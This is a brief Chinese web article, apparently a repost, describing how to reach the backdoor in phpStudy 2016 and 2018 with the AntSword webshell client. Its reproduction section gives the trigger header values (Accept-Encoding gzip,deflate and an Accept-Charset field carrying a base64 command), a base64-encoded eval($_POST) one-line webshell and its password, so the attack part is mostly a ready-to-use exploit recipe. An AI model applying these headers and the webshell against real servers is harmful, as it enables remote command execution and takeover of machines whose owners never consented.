利用中国蚁剑无文件连接 phpstudy 后门方法

0x01 描述

Phpstudy 是一款 PHP 调试环境的程序集成包, 集成了最新的 Apache,PHP,phpMyAdmin,ZendOptimizer 等多款软件一次性安装, 无需配置, 即装即用. 由于其免费且方便的特性, 在国内有着近百万的 PHP 语言学习者, 开发者用户.

后门名称: Phpstudy 后门

威胁等级: 严重

影响范围: Phpstudy 2016,phpstudy2018

后门类型: C&C, 命令执行

利用难度: 极易

0x02 复现

利用工具: 中国蚁剑

phpstudy:2016 PHP-5.4.45

Accept-Encoding:gzip,deflate

Accept-Charset:base64 加密执行的命令

一句话木马: ZXZhbCgkX1BPU1RbZ10pOw==

密码: g

配置 HTTP 消息头

连接成功

来源: http://www.bubuko.com/infodetail-3216509.html

与本文相关文章

1. PHPStudy 后门分析 + 复现 & 附批量 Py 脚本
2. 【技术分享】利用DNS AAAA记录和IPv6地址传输后门
3. php socket连接python进行文件打包
4. phpStudy 隐藏后门预警
5. 静心Study
6. 分享个php eval后门程序
7. 集成环境 phpstudy 后门利用复现
8. 解析制作俄罗斯APT组织使用的快捷方式后门文件

当天热门

1. 前端面试每日 3+1(周汇总 2020.05.24)
2. 前端面试每日 3+1 -- 第 404 天
3. vue 中使用 echarts 地图从世界地图下钻到区县

暂无,快来抢沙发吧!

提交